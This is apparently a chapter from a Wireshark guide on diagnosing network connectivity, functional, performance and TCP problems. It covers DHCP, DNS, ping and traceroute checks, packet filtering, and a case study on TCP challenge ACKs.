Define  the  problem:  You  want  to  understand  what  the user was trying to do, what went wrong, and how long has it been happening. You also want to know if there were any changes  or  errors  that  could  be  related  to  the  problem. Some possible questions that you could ask are:

What was your goal when you encountered the problem? (for example, connecting to a server, logging in, sending or  receiving  emails,  using  a  specific  application  or function, uploading or downloading a file)

Is  the  problem  affecting  everything  or  only  some applications or functions?

What is the name and address of the website, server, or application that you were trying to access? Do you know the hostname, URL, IP address, and port number that are used for this application?

What  did  you  see  or  hear  when  the  problem  occurred? Did you get any error messages or other signs of trouble?

Is  the  problem  happening  perpetual  or  occurs  only sometimes?  Does  it  depend  on  anything  else  (such  as time of day, location, network connection)?

When did the problem start? Was the application working before?

Did  anything  change  recently  that  could  have  caused  or affected  the  problem  (such  as  software  updates, configuration changes, network changes)?

What  actions  have  you  done  so  far  to  resolve  the problem? Did it help or make any difference?

Are  there  any  other  factors,  symptoms,  or  changes  that might be relevant to the problem?

Determine  the  scope  of  the  issue:  You  want  to  know how many users and locations are affected by the problem. You also want to know if there are any differences between users  who  have  the  problem  and  users  who  do  not.  Some possible questions that you could ask are:

Are  you  the  only  one  who  has  this  problem  or  are  there other users who have the same issue?

Is this problem happening in one office, region, or across the whole company?

Are  there  any  differences  between  users  who  have  the problem  and  users  who  do  not  (such  as  user  type,  role, device, network connection)?

Are  there  any  known  outages  or  maintenance  activities affecting  your  network  or internet  service  provider (ISP)?

Can you confirm that your antivirus or security software is not blocking any network connections?

Collect system, application, and path information: You want  to  gather  more  details  about  the  client,  server, application,  and  network  components  that  are  involved  in the  problem.  You  might  need  to  get  some  of  this information  from  other  support  groups  or  vendors.  Some possible questions that you could ask are:

What  is  the  type  and  version  of  your  browser  (for  web applications)? Is it different from browsers working well?

What is the type and version of your operating system on your device and on the server?

What  is  the  official  name  and  version  of  the  application that  you  are  using?  Are  there  any  known  issues  or  bugs with  this  application  that  match  your  problem  (check with the vendor’s website or support team)?

What is the type and environment of the database server that supports the application server?

Are there any other data sources or servers that are used by  the  application  (such  as  online  data  services  or document management systems)?

What  is  the  network  path  between  your  device  and  the server?  Are  there  any  devices  in  between  that  could affect  the  traffic  (such  as  firewalls,  proxy  servers,  load balancers,  WAN  accelerators)?  Are  they  set  up  and working correctly?

Can  you  confirm  the  expected  network  path  (and  any WAN  links  involved)  with  a  traceroute  command  and check the available bandwidth?

Can you measure the RTT path latency from your device to  the  server  with  ping  commands  or  TCP  handshake

completion times?

 

Classify the problem

After you collect the information from the user, the network, and the application, you should be able to classify the problem into one of the following three categories:

Connectivity  problem:  This  means  that  the  user  cannot reach  the  server  or  application  at  all.  There  are  two possible scenarios for this type of problem:

The  user  cannot  connect  to  anything  on  the  network. This  could  be  because  of  a  problem  with  the  user’s device, network connection, or network configuration.

The  user  cannot  connect  to  a  specific  server  or application. This could be because of a problem with the server, the application, or the network path between the user and the server.

Functionality  or  configuration  problem:  This  means that  the  user  can  reach  the  server  or  application,  but cannot use it properly. There are two possible scenarios for this type of problem:

The  user  can  connect  to  the  server  or  application,  but cannot log in or get the expected response. This could be because  of  a  problem  with  the  user’s  credentials,  the server’s authentication, or the application’s logic.

The  user  can  connect  and  log  in  to  the  server  or application,  but  some  or  all  functions  are  failing.  This could  be  because  of  a  problem  with  the  application’s code, the database’s data, or the network’s reliability.

Performance  problem:  This  means  that  the  user  can reach and use the server or application, but it is too slow or unstable.  There  are  two  possible  scenarios  for  this  type  of problem:

The  user  can  connect,  log  in,  and  use  the  application normally,  but  it  takes  too  long  to  complete  a  task  or

transaction. This could be because of a problem with the application’s  efficiency,  the  server’s  capacity,  or  the network’s bandwidth.

The  application  works  normally  most  of  the  time,  but sometimes  it  freezes  or  disconnects.  This  could  be because of a problem with the application’s stability, the server’s availability, or the network’s latency.

 

Divide-and-Conquer troubleshooting technique

Divide-and-Conquer troubleshooting method is a technique that helps you to find the problem in a system by dividing it into two parts and testing each part. The idea is to see which part is working and which part is not, then focus on the part that is not working and split it into two parts again, and so on. This way, you can narrow down the problem to its source.

You can use the Divide-and-Conquer troubleshooting technique in the network and application world, in a general way. If users are complaining that the network is slow, you can try to confirm or rule out the network as the cause:

Are  users  who  are  near  the  server  facing  the  same slowness? What about users in other remote locations?

If a certain application is slow for a remote user, are other applications slow for that user too?

If users cannot connect to a given server, can they connect to other servers nearby or in other locations?

By using logic and comparing what works and what does not, you can avoid a lot of guessing and narrow your analysis to a few possible causes.

It is usually much easier to find the cause of a connectivity or functionality problem if you have a situation where everything is working well to compare with a situation that is not working. You can capture packets from both situations and compare them to see what is different and if those differences matter.

It is important not to make too many assumptions about a problem, even if it looks like a problem that you have solved before. Always check the problem and the solution that you think will work. You should be able to apply and remove the solution and see the problem go away and come back reliably. If not, you should ask yourself if you have found the real cause of the problem or just changed the symptoms.

Unless it is clear that the problem is affecting the whole system or a specific server, it is better to start your analysis at or near the user’s device that has the problem. This has some benefits, such as:

You  can  see  and  verify  the  actual  problem  that  the  user  is reporting.

You  can  measure  how  long  it  takes  for  packets  to  go  back and forth between the user's device and the server.

You  can  capture  and  analyze  the  TCP  handshake  process when a session starts.

You  can  capture  and  examine  the  login  and  any  other background processes and traffic.

You  can  look  for  signs  of  network  problems  (lost  packets and retransmissions) as they affect the user's device.

You can measure how fast the network delivers data to the user's device during data downloads.

You  do  not  need  to  use  a  capture  filter;  the  amount  of traffic to/from a single device should not be too much.

A capture at a user’s device, server, or other device should be done with an aggregating Test Access Point (TAP) instead of using a switch SPAN port or as a last option, by installing Wireshark on the user’s device or server (if you have permission).

Note: A Test Access Point (TAP) is a device that copies network traffic for analysis, security or management purposes, without affecting the network performance or integrity. A TAP can be passive or active, depending on whether it requires power or not.

Using  a  TAP  ensures  that  the  capture  does  not  interfere  with  the  network traffic  or  the  application  performance.  A  switch  SPAN  port  may  introduce packet loss or latency, and installing Wireshark on the user’s device or server may affect the system resources and security.

Troubleshooting connectivity issues

When you are using Wireshark to fix connectivity issues, you can follow these steps:

1. Check  physical  connectivity:  Make  sure  that  all  the

physical  parts  of  the  network  are  working  properly.  Check

the  cables,  connectors,  and  network  interfaces  to  see  any

physical problems.

2. Find the scope: Find out how big the connectivity issue is.

Is it affecting only one device, a part of the network, or the

whole  network?  This  will  narrow  down  the  possible  causes

of the problem.

3. Capture packets: Start Wireshark and choose the network

interface  that  is  related  to  the  connectivity  problem.  Start

capturing packets to see the network traffic.

4. Repeat  the  issue:  Do  the  things  that  cause  the

connectivity  problem.  This  could  be  trying  to  access  a

certain  website,  making  a  connection  to  a  server,  or  any

other network activity that fails or gets interrupted.

5. Analyze  packets:  Stop  the  packet  capture  in  Wireshark

after  you  have  repeated  the  issue.  Look  at  the  captured

packets  to  find  any  unusual  or  wrong  things  that  may  be

causing  the  connectivity  problem.  Here  are  some  things  to

look for:

a)  Look  for Address  Resolution  Protocol  (ARP)

problems. Look for ARP requests and responses to make sure that IP addresses and MAC addresses are matched correctly.

b)  Look  at Domain  Name  System  (DNS)  traffic.  Make

sure  that  DNS  queries  are  sent  and  responses  are received    correctly.    DNS    problems    can    cause connectivity issues.

c) Look at TCP handshake process for protocols that need

a  connection.  Make  sure  that  SYN,  SYN-ACK,  and  ACK packets are exchanged properly.

d) Look for Internet Control Message Protocol (ICMP)

packets. ICMP messages like “Destination Unreachable” or  “Time  Exceeded”  can  give  you  clues  about connectivity problems.

e) Look for any TCP retransmissions, out-of-order packets,

or  long  delays  that  might  show  network  congestion  or packet loss.

f)  Find  any  errors  or  strange  behavior  in  higher-level

protocols  that  are  specific  to  the  application  or  service that you are using.

6. Use  filters:  Use  Wireshark  filters  to  reduce  the  captured

packets  and  focus  on  the  important  traffic.  Filters  can  help

you  separate  specific  conversations,  protocols,  or  IP

addresses related to the connectivity problem.

7. Examine  operational  and  non-operational  situations:

If possible, capture packets from a working scenario where

the  connectivity  is  successful.  Compare  the  packets  from

the working scenario to the captured packets from the non-

working  scenario.  Look  for  any  differences  in  protocols,

packet exchanges, or responses that could show the cause

of the connectivity issue.

8. Troubleshoot  step-by-step: Find  out  the  causes  and

solutions for the issues that you have identified. Search for

possible causes and solutions based on what you see in the

captured  packets.  This  could  involve  changing  network

settings, fixing firewall rules, or contacting relevant network

administrators or service providers.

9. Test  solutions:  After  trying  possible  solutions,  test  the

connectivity  again  and  capture  packets  to  see  if  the  issue

has  been  fixed.  Do  this  until  the  connectivity  problem  is

fixed.

10. Document  findings  for  future  reference:  Keep  a

detailed  record  of  your  analysis,  findings,  and  solutions.

Documentation  will  help  you  keep  track  of  progress,  share

information, and refer back to it if similar issues happen in

the future.

Remember, fixing connectivity issues can be difficult, and it may need a combination of network analysis tools, knowledge of protocols, and cooperation with other people. Wireshark is a useful tool in this process, but it is important to have a good understanding of networking concepts to fix connectivity problems effectively.

Here are some basic steps to help you begin:

 

Getting the workstation IP configuration

Unless you have set up the workstation, it must get its IP address, subnet mask, default gateway, and DNS server settings from a DHCP server. If this does not seem to work properly (after checking the configuration using ipconfig (Windows) or ifconfig (Linux or Mac OS X), you need to capture packets when the workstation starts up or boots up using a TAP or SPAN port and look at the DHCP requests and responses.

To capture DHCP packets using TAP or SPAN ports with Wireshark:

1. Set up the TAP device physically between the DHCP server

and  the  switch,  or  configure  SPAN  port  mirroring  on  your

network switch to copy traffic from the DHCP server port to

another  port  on  the  same  switch.  Refer  to  your  device’s

documentation for specific instructions on how to do this.

2. Connect  Wireshark  to  the  monitoring  port  (the  port  where

the  TAP  device  or  the  SPAN  destination  port  is  connected)

using an Ethernet cable.

3. Open  Wireshark  and  select  the  monitoring  interface  (the

interface that corresponds to the monitoring port) from the

list  of  available  interfaces.  Click Start  to  begin  capturing

packets.

4. You  can  apply  a  filter  to  display  only  DHCP  packets  by

entering bootp in the filter box at the top of the Wireshark

window. You can also use other filters to narrow down your

analysis, such as ip.addr to filter by IP address or eth.addr to

filter by MAC address.

5. You can view and analyze the captured DHCP packets in the

packet  list  pane,  the  packet  details  pane,  and  the  packet

bytes pane of Wireshark. You can also use Wireshark’s tools

like  graphs,  statistics,  and  expert  information  to  get  more

insights into DHCP packets.

For a workstation that is starting up and was working on the network before, you will usually see the DHCP Request and Acknowledgment packets confirming that the workstation can still use an old address. On a new start-up, the first two DHCP packets will be DHCP Discover and DHCP Offer packets, followed by the Request and ACK packets.

The fields to check in a DHCP Response packet (or similar fields in a DHCPv6 Advertise packet) include these four fields:

Your  (client)  IP  Address:  This  is  the  IP  address  that  is offered for this workstation.

Subnet Mask: This is the parameter that defines the range of IP addresses on this network.

Domain Name Server:  This  is  the  IP  address  of  the  DNS server.

Router:  This  is  the  IP  address  of  the  network  node  that routes traffic to its destination.

This is the minimum data needed for any network communications; an example of these fields in a DHCP Reply

packet is shown in the Figure 12.1:
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Figure 12.1: DHCP reply packet

 

 

Getting network service IP addresses

A client workstation asks a DNS server to get an IP address for a given hostname; the DNS server answers with the information or asks other DNS servers for the information for the client.

The format of the DNS query and response packet fields shown in the Wireshark Packet Details pane is easy to understand. An example of a DNS response packet with a resolved IP address for

www.ietf.org, which gave the IP address (132.151.6.75) for the

alias www.ietf.org is shown in the Figure 12.2:
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Figure 12.2: DNS response packet

If a client workstation cannot get the IP address of a web service or application server, a packet-level analysis of the request (which URL or hostname is being asked for), and what the response is from the DNS server (if any) should be helpful. A comparison of a failing query with queries that work well for other hostnames or from other workstations should show the cause of the problem (if DNS is the problem). Failure to get an IP address can be caused by a broken DNS server, wrong hostname or URL, or a problem with connectivity from the user to other parts of the network, which we will check next.

 

Basic network connectivity

You can perform the following simple tests to see if basic network connectivity is working or find out if there is a routing issue or another issue that the network support team needs to fix. Capturing and looking at the ICMP packets that are sent and received during these tests can be helpful; but, the test results themselves are often enough. These simple tests are:

Ping  the  user’s  default  gateway  using  the  default  gateway IP address that you get from using ipconfig /all (Windows) or  ip  addr  show  (Linux)  to  see  if  the  user  workstation  can connect on the local network.

Test the connectivity to the server by pinging its hostname or URL. If this does not work (request timed out message), try to ping other hosts or URLs. If you need to, look at the DNS  and/or  ICMP  responses  in  a  packet  capture  of  these tests to find out why it failed. Otherwise, note the average round trip times.

If  a  ping  works  to  the  default  gateway  but  pinging  other targets  does  not  work,  a  traceroute  to  a  target  server  can show where in the network path connectivity stops working or is blocked.

Note: The traceroute command-line tool in Windows is tracert, while for traceroutes on Linux/Unix and Mac OS X machines, the command is traceroute. To perform a traceroute in Windows, launch a CMD window and enter tracert <hostname or IP Address of target>. For most other systems, start a terminal window and enter traceroute <hostname or IP address of target>.

 

If you can ping the target server and network connectivity is working, you can go to the next step in the troubleshooting process. If not, remember that some devices may be set up to not answer ICMP ping requests, and/or ICMP is blocked by a firewall between the user and server for security reasons. So, being unable to ping a device is not always a sign of a network problem. Traceroute results should help you see how far and how well network connectivity is working in the path towards the target server; testing other targets should also be helpful.

An example of pinging a default gateway, then a URL, and then

doing a traceroute to the target URL is shown in Figure 12.3:
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Figure 12.3: Ping and Traceroute to the target URL

 

Connecting to the application services

If network connectivity from a user device to a target server is working (as shown by the ability to ping the host), a problem connecting to a specific application on that server may be because of some of the given reasons:

The  URL  or  port  that  the  client  uses  to  access  the application is wrong.

The port that is used to access the application is blocked by a firewall.

The  application  service  is  not  running  or  is  not  working right.

The first of these reasons is more likely for a single user issue. Any of the last two reasons would stop anyone in a group or the whole organization from accessing the application. A packet-level analysis (from the client side) of a user trying to connect to an application that is blocked should show ICMP messages: Destination Host is Unreachable or Destination Port is Unreachable, or there will be no response at all if ICMP messages are blocked by a firewall.

If the server is running, the application is working but cannot be accessed; a client-side capture does not give any good clues, but a packet capture of the TCP session setup (if any) from or near the server side should be helpful.

 

Troubleshooting functional issues

Troubleshooting functional issues means finding and fixing problems that affect the normal operation of specific network applications, services, or protocols. For example, you might encounter a functional issue if a web browser fails to load a website, or if an email client cannot send or receive messages. To troubleshoot functional issues using Wireshark, you need to capture and analyze network traffic to identify the root cause of the problem. The steps that you need to follow are explained as follows:

1. Define the problem: The first step is to understand what

the problem is and how it manifests. You need to gather as

much  information  as  possible  about  the  functional  issue,

such as:

What  application,  service,  or  protocol  is  affected  by  the problem?

What  are  the  indicators  of  the  problem?  How  do  you detect that something is not working properly?

What  is  the  expected  behavior  or  outcome  of  the application, service, or protocol?

How  frequently  and  at  what  times  does  the  issue happen? Does it vary or remain constant?

What  are  the  network  conditions  when  the  problem occurs?  Are  there  any  other  network  devices  or applications involved?

2. Set up Wireshark: The next step is to install and configure

Wireshark  on  a  device  connected  to  the  same  network

where  the  problem  occurs.  You  can  download  Wireshark

from  its  official  website  and  follow  the  installation

instructions  for  your  operating  system.  Once  you  have

installed  Wireshark,  you  need  to  launch  and  select  the

network  interface  that  you  want  to  use  for  capturing

packets. The network interface should be able to capture all

the traffic related to the functional issue.

3. Capture  packets:  The  third  step  is  to  start  capturing

packets  in  Wireshark.  You  should  start  capturing  packets

before you try to reproduce the problem so that you do not

miss  any  important  packets.  To  start  capturing  packets,

click  on  the  green  shark  fin  icon  on  the  toolbar  or  press

Ctrl+E.  Wireshark  will  display  a  list  of  packets  in  real-time

as they are captured.

4. Reproduce the problem: The fourth step is to reproduce

the  functional  issue  while  Wireshark  is  capturing  packets.

This  means  you  need  to  perform  the  same  actions  or

operations  that  trigger  the  problem,  such  as  opening  the

web browser, entering a URL, clicking on a link, sending an

email,  etc.  By  reproducing  the  problem,  you  ensure  that

Wireshark  captures  all  the  relevant  packets  that  are

involved in the functional issue.

5. Analyze Packets: The fifth step is to analyze the captured

packets in Wireshark to look for any clues or evidence that

might explain the functional issue. You need to examine the

packet details, such as:

The  source  and  destination  IP  addresses  and  port numbers of each packet

The protocol type and name of each packet

The content or payload of each packet

The flags, options, headers, and trailers of each packet

The sequence numbers and timestamps of each packet

The error codes or messages of each packet

6. Filter  packets:  The  sixth  step  is  to  apply  filters  in

Wireshark  to  focus  on  only  the  packets  relevant  to  the

functional  issue.  Filters  can  help  you  reduce  the  noise  and

clutter in your packet capture and make your analysis more

efficient and accurate. You can use filters based on different

criteria, such as:

The  IP  addresses  or  port  numbers  of  the  client  and server or other network entities involved in the problem.

The protocol type or name of the application, service, or

protocol  affected  by  the  problem,  as  shown  in Figure

12.4.

The specific fields or values of interest within a packet.

The  keywords  or  expressions  that  match  a  certain pattern within a packet.
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Figure 12.4: Filtered network packets

7. Follow  communication  flow: The  final  step  is  to  follow

the  communication  flow  between  the  client  and  server  or

other network entities involved in the problem. You need to

track  how  each  packet  is  sent  and  received,  how  each

protocol exchange is initiated and completed, and how each

request  and  response  is  handled.  You  need  to  look  for  any

anomalies or errors in the communication flow, such as:

Missing or delayed packets

Out-of-order or duplicated packets

Incorrect or unexpected responses

Protocol violations or malfunctions

Sometimes, a user can establish a TCP connection with an application server, but the application does not work as expected or not at all. This could be due to various reasons that can be investigated using different tools and methods.

Some of the possible areas to look into are:

Web  browser  compatibility:  Some  web  applications  are designed  for  specific  web  browsers  (such  as  Chrome, Internet  Explorer,  Firefox,  Opera,  etc.)  and  may  not function properly or at all on other browsers. The user may not  see  any  error  messages  that  indicate  this  problem.  To check  this,  compare  the  type  and  version  of  the  web browser  used  by  the  user  with  those  used  by  other  users who can access the application normally.

User  credentials:  The  most  common  reason  some  users have  problems  with  the  application  functionality  is  that they  do  not  have  the  proper  credentials,  authorization, rights,  etc.,  to  access  the  application  features.  This  is  the first thing to verify if other users are working normally.

Application  settings  on  the  user  machine: Some applications  require  specific  configuration  files  placed  on the  user’s  machine  in  a  certain  location.  Applications  may also  need  certain  versions  of  application-specific  utilities, Java,  .NET  frameworks,  etc.,  to  run  properly.  Usually,  the application will display an error message that indicates the general nature of a configuration problem.

Application-reported errors: You can look for error codes or  messages  within  the  response  packets  or  on  the  user’s

screen  that  may  reveal  the  nature  of  application  errors. Some examples are:

HTTP,  FTP,  or  SIP  response  packets  with  a  status  code above 400

Error code in SMB response packets

Other  application-specific  exceptions,  error  codes,  and messages

The causes of network connectivity and application functionality issues can vary widely, so there is no one-size-fits-all solution for every situation. The best way to solve these problems is to avoid making assumptions without verifying them with systematic and logical troubleshooting steps. Instead, try to find or create a scenario where the system or part of the system works properly and compare the relevant packet-level details of the working environment to the one that does not work.

Note: Remember that functionality issues can be specific to the application or service you are troubleshooting, and Wireshark provides visibility into the underlying network traffic. It is important to have a good understanding of the application’s behavior and protocols involved. If necessary, contact the application vendor or consult with specialized support for further assistance.

 

Performance analysis methodology

Wireshark is a network analysis tool that can capture, analyze, and inspect the data packets sent and received over a network. It can help you understand how network protocols work, how network devices communicate, and how network performance can be improved or optimized. To perform network performance analysis using Wireshark, you can follow these steps:

1. Capture network traffic: This is the first step, where you

collect the raw data you want to analyze. You need to select

the  network  interface  you  want  to  monitor  (such  as

Ethernet or Wi-Fi) and start capturing packets, as shown in

Figure 12.5. You can specify how long you want to capture

traffic or stop the capture manually when you have enough

data.
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Figure 12.5: Captured network packets

2. Filter relevant traffic: This is the step where you narrow

down  the  captured  data  to  focus  on  the  traffic  relevant  to

your  performance  issue.  You  can  use  filters  to  specify

criteria  such  as  IP  address,  port  number,  or  protocol  name

to  exclude  or  include  certain  packets,  as  can  be  seen  in

Figure 12.6. You can also use display filters to show only the

packets that match a specific expression or condition.
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Figure 12.6: Filtered traffic

3. Analyze  protocol  statistics:  This  is  the  step  where  you

examine  the  statistics  of  different  protocols  used  in  the

captured  traffic.  You  can  use  the  “Statistics”  menu  in

Wireshark  to  access  options  such  as  protocol  hierarchy,

conversations,  endpoints,  and  IO  graphs,  as  presented  in

Figure  12.7.  These  options  can  help  you  understand  the

distribution  of  protocols,  the  number  and  duration  of

connections,  the  amount  and  rate  of  data  transfer,  and

other useful metrics.
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Figure 12.7: Protocol hierarchy statistics

4. Examine  TCP  connections: This  is  the  step  where  you

analyze  the  TCP  connections  involved  in  the  captured

traffic. TCP is a common protocol that ensures reliable and

ordered  delivery  of  data  over  a  network.  However,  TCP

connections  can  also  suffer  from  performance  issues  such

as retransmissions, delays, or out-of-order packets. You can

use  Wireshark’s  features  such  as  TCP  flow  graphs  and  TCP

stream analysis to visualize and inspect the behavior of TCP

connections. For example, use the "Conversations" statistics

to  analyze  TCP  conversations  and  identify  any  abnormal

behavior, as illustrated in Figure 12.8:

[image: ]

Figure 12.8: Conversations statistics

 

5. Investigate  response  times:  This  is  the  step  where  you

measure  the  response  times  for  specific  requests  or

transactions  occurring  over  the  network.  Response  times

are  important  performance  indicators,  especially  for  web

applications  or  client-server  interactions.  You  can  use

Wireshark’s  features,  such  as  the  “Time  to  First  Byte”

analysis  or  “Follow  TCP  Stream”  option,  as  depicted  in

Figure  12.9,  to  track  individual  requests  and  their

corresponding  responses  and  identify  any  delays  or

bottlenecks.
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Figure 12.9: Follow TCP Stream

6. Identify  bandwidth  utilization:  This  is  the  step  where

you  check  the  bandwidth  utilization  of  the  network.

Bandwidth measures how much data a network can send in

a  given  amount  of  time.  High  bandwidth  utilization  can

indicate  high  network  activity,  but  it  can  also  cause

congestion  and  performance  degradation.  You  can  use

Wireshark’s features such as “I/O Graphs” or “Throughput”

statistics,  as  can  be  seen  in Figure  12.10,  to  monitor  the

traffic volume and throughput over time:
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Figure 12.10: I/O graphs

7. Identify  network  errors  or  misconfigurations:  This  is

the step where you look for any errors or misconfigurations

affecting  network  performance.  Errors  can  be  caused  by

faulty hardware, software bugs, malicious attacks, or human

mistakes.  Misconfigurations  can  be  caused  by  incorrect

settings,  incompatible  devices,  or  outdated  protocols.  You

can use Wireshark’s feature called “Expert Info” which flags

potential  issues  and  provides  detailed  information  about

anomalies, as shown in the Figure 12.11:
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Figure 12.11: Expert information

8. Generate  reports:  This  is  the  final  step,  where  you

summarize  your  observations  and  present  them  in  a  clear

and  concise  manner.  You  can  use  Wireshark’s  built-in

reporting  features  to  generate  reports  based  on  your

analysis  or  export  the  captured  data  for  further  analysis

using external tools.

Network performance analysis is a complex and challenging task that requires knowledge and skills in networking protocols and troubleshooting techniques. Wireshark is a powerful tool that can help you capture, analyze, and inspect network traffic. However, it also requires careful interpretation and contextual understanding of your network environment when diagnosing performance issues.

 

Troubleshooting TCP protocol issues

Wireshark helps you troubleshoot TCP protocol issues by capturing and inspecting the data packets exchanged over a TCP connection. TCP is a protocol that ensures reliable and ordered data delivery over a network. However, it can also encounter problems such as connection failures, retransmissions, delays, or out-of-order packets. To troubleshoot TCP protocol issues using Wireshark, you can follow the given steps:

1. Capture packets: The first step is to collect the raw data

that  you  want  to  analyze.  You  need  to  start  Wireshark  and

select the network interface that you want to monitor (such

as Ethernet or Wi-Fi). You can choose the interface from the

main  menu  or  the  toolbar.  Then,  you  can  start  capturing

packets by clicking on the Start button or pressing Ctrl + E.

You can stop the capture manually when you have enough

data or specify a capture duration or size limit.

2. Filter TCP traffic: The second step is to narrow down the

captured data to show only TCP traffic. You can use filters to

specify  criteria  that  exclude  or  include  certain  packets

based  on  their  attributes.  You  can  use  the  filter  expression

tcp  to  filter  out  other  protocols  and  focus  on  TCP  packets.

You can enter the filter expression in the filter box at the top

of  the  Wireshark  window  and  apply  it  by  pressing Enter or

clicking the “Apply” button.

3. Analyze TCP handshake: The third step is to look for TCP

handshake  packets  (SYN,  SYN-ACK,  and  ACK)  to  verify  that

the  TCP  connection  is  established  correctly.  The  TCP

handshake  is  a  three-step  process  that  initiates  a  TCP

connection between two devices:

i. The  client  sends  a  packet  with  the Synchronization

(SYN)  flag  set,  indicating  its  intention  to  start  a

connection.

ii. The server responds with a packet with both the SYN and

ACK  (Acknowledgement)  flags  set,  indicating  its acceptance  of  the  connection  and  acknowledgement  of the client’s SYN.

iii. The client then sends a packet with only the ACK flag set,

indicating its acknowledgement of the server’s SYN-ACK.

This completes the TCP handshake and establishes the TCP

connection.  You  can  look  for  TCP  handshake  packets  in

Wireshark by checking their flags in the “Info” column or by

using display filters such as tcp.flags.syn == 1 or tcp.flags.ack

==  1 .  You  can  also  use  color  coding  to  highlight  different

types of packets. You should check for missing or duplicate

packets  in  the  handshake  process  that  could  indicate

connection failures or errors.

4. Analyze TCP anomalies: The fourth step is to look for any

anomalies or issues in the TCP connection that could affect

performance  or  reliability.  One  common  issue  is  when  the

server  sends  an  ACK  packet  without  the  SYN  flag  set  in

response  to  the  client’s  SYN  packet.  This  is  an  invalid

response that violates the TCP protocol rules and causes the

client  to  send  an Reset  (RST)  packet  to  terminate  the

connection attempt. This could indicate a misconfiguration,

a firewall blocking, or a malicious attack on the server side.

You  can  identify  this  issue  by  looking  for  RST  packets  in

Wireshark  or  using  display  filters  such  as tcp.flags.rst  ==  1.

You  can  also  use  Wireshark’s  feature  called Expert  Info

which  flags  potential  issues  and  provides  detailed

information about anomalies.

 

The case of the challenge ACK

For the challenge ACK, a problem occurred where different pages failed to load or redirected for multiple websites hosted by the same provider. It was discovered that these websites had the same IP A record, implying they resolved to the same IP address. This situation suggested the presence of a proxy or load balancer that received connections before reaching the web servers. Furthermore, some websites required redirects, but due to the incomplete TCP connection, the HTTP 301 redirect could not reach the client's PC.

The troubleshooting process began by examining the DNS configuration, both internally and externally, to rule out any potential issues related to domain name resolution. However, the DNS setup was found to be functioning correctly. After multiple attempts over two days, the websites eventually became completely unreachable. At this point, the next step was to investigate the firewall logs for the IP address of the testing machine and perform packet captures.

During the packet analysis using tools like Wireshark, it was discovered that the three-way handshake, a process for establishing a TCP connection, was not completed successfully. Moreover, the server was sending challenge ACKs to the client.

The challenge ACKs is related to TCP protocol behavior and security. A challenge ACK is a special type of acknowledgment packet sent by a TCP endpoint when it receives an unexpected or invalid segment. The purpose of a challenge ACK is to verify that the sender of the segment is legitimate and not an attacker trying to spoof or hijack the connection. A challenge ACK also helps to synchronize the sequence numbers between the endpoints in case of packet loss or reordering.

The steps to analyze challenge ACKs and other TCP issues are:

Checking  sequence  numbers:  Examine  the  sequence

numbers of TCP packets, as can be seen in Figure 12.12, to ensure they are in the correct order. If there are any out-of-order  packets,  it  may  indicate  network  congestion  or packet  loss.  Also,  look  for  any  gaps  or  overlaps  in  the sequence  numbers,  which  could  mean  that  some  packets were lost or duplicated.
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Figure 12.12: Sequence numbers of TCP packets

Analyzing  retransmissions:  Look  for  TCP  packets  with the    retransmission    flag    set,    marked    as    “TCP

Retransmission”  in  Wireshark,  as  shown  in Figure  12.13. This  means  that  a  packet  was  not  received  within  the specified  time  limit.  Retransmissions  can  be  caused  by network congestion, packet loss, or other issues. Also, look for any duplicate acknowledgments (DUP ACKs), which indicate  that  the  receiver  has  received  an  out-of-order packet and is requesting the missing one.
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Figure 12.13: TCP retransmission

Investigating  challenge  ACKs: Look  for  TCP  packets with  the  acknowledgment  number  set  to  zero  (marked  as “TCP  ACKed  lost  segment”  in  Wireshark).  These  are challenge ACKs sent by a TCP endpoint when it receives an unexpected  or  invalid  segment.  Check  the  source  and destination  IP  addresses  and  ports  to  identify  which endpoint  sends  the  challenge  ACKs  and  why.  Possible reasons include:

The  sender  has  sent  a  segment  with  an  incorrect sequence    number,    either    due    to    a    bug,    a misconfiguration, or an attack.

The  receiver  has  lost  some  segments  and  has  not updated its expected sequence number accordingly.

The network has reordered or duplicated some segments, causing confusion for both endpoints.

The  connection  has  been  idle  for  a  long  time,  and  one endpoint has timed out its state information.

Investigating TCP resets: Look for TCP packets with the reset  (RST)  flag  set.  These  packets  indicate  an  abnormal termination  of  the  TCP  connection.  Check  the  source  and destination  IP  addresses  and  ports  to  identify  any  issues with the connection setup. Possible reasons include:

One  endpoint  has  received  an  invalid  segment  or  a segment  that  does  not  belong  to  the  current  connection state,  either  due  to  a  bug,  a  misconfiguration,  or  an attack.

One  endpoint  has  encountered  an  error  or  a  resource exhaustion and cannot continue the connection.

One  endpoint  has  closed  the  connection  gracefully  but the other endpoint has not received or acknowledged the FIN segment.

Analyzing TCP window size: Check the TCP window size advertised by both the sender and receiver. A small window

size may indicate network congestion, while a large window size  could  lead  to  buffer  overflows.  Also,  look  for  any  zero window  segments  (marked  as  “TCP  ZeroWindow”  in Wireshark), which indicate that one endpoint has no buffer space left to receive data.

By following these steps and analyzing the captured packets, you can learn more about TCP protocol issues and possible network problems. Remember to think about the network topology, hardware, and other factors that may affect TCP performance.

 

Troubleshooting slow application response time

Slow application response time can be caused by various factors, such as network latency, bandwidth limitations, packet loss, server overload, application errors, or inefficient code. Using Wireshark, you can capture and examine network traffic and identify network-related issues that might contribute to the slowdown.

Here is how you can use Wireshark for troubleshooting slow application response time:

1. Installing  and  setting  up  Wireshark: Download  and

install Wireshark from the official website (wireshark.org).

Launch  the  application  and  ensure  you  have  sufficient

permissions  to  capture  network  traffic  on  the  target

machine.  You  may  need  to  run  Wireshark  as  an

administrator or use a tool like WinPcap or Npcap to enable

packet capture on Windows machines.

2. Identifying  the  target  traffic: Determine  which  network

traffic  you  want  to  capture  for  analysis.  This  can  be  traffic

between  the  client  and  server,  specific  protocols,  or

communication-related  to  the  application  you  are

troubleshooting.  For  example,  if  you  are  troubleshooting  a

web  application,  you  might  want  to  capture  HTTP  traffic

between  the  browser  and  the  web  server.  You  can  use

Wireshark’s display filters or capture filters to specify which

traffic you want to see or capture.

3. Starting  capturing  packets:  Start  capturing  network

packets  in  Wireshark.  Select  the  appropriate  network

interface for capturing, such as Ethernet or Wi-Fi, and begin

the  capture.  You  can  also  use  command-line  options  or

scripts to capture packets automatically or remotely.

4. Reproducing the slow response: Perform the actions or

operations  in  the  application  that  result  in  slow  response

times.  This  will  generate  the  network  traffic  you  need  to

analyze.  Try  to  reproduce  the  problem  consistently  and

isolate any variables that might affect the performance. For

example, if you are troubleshooting a web application, you

might  want  to  clear  your  browser  cache,  disable  any

extensions or plugins, or use a different browser or device.

5. Stopping the packet capture: Once you have reproduced

the  slow  response,  stop  the  packet  capture  in  Wireshark.

This will end the capture process and allow you to analyze

the captured packets. You can save the capture file for later

analysis or share it with others for collaboration.

